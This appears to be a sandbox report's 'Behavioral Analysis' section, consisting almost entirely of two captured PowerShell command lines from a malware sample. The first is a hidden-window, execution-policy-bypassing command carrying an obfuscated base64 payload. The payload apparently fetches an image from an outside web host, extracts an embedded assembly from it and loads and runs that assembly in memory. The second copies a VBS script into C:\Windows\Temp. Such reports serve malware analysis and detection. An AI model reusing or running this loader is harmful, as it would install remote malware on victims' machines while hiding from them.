Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DpiWvNwtC','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasms.vbs -Force }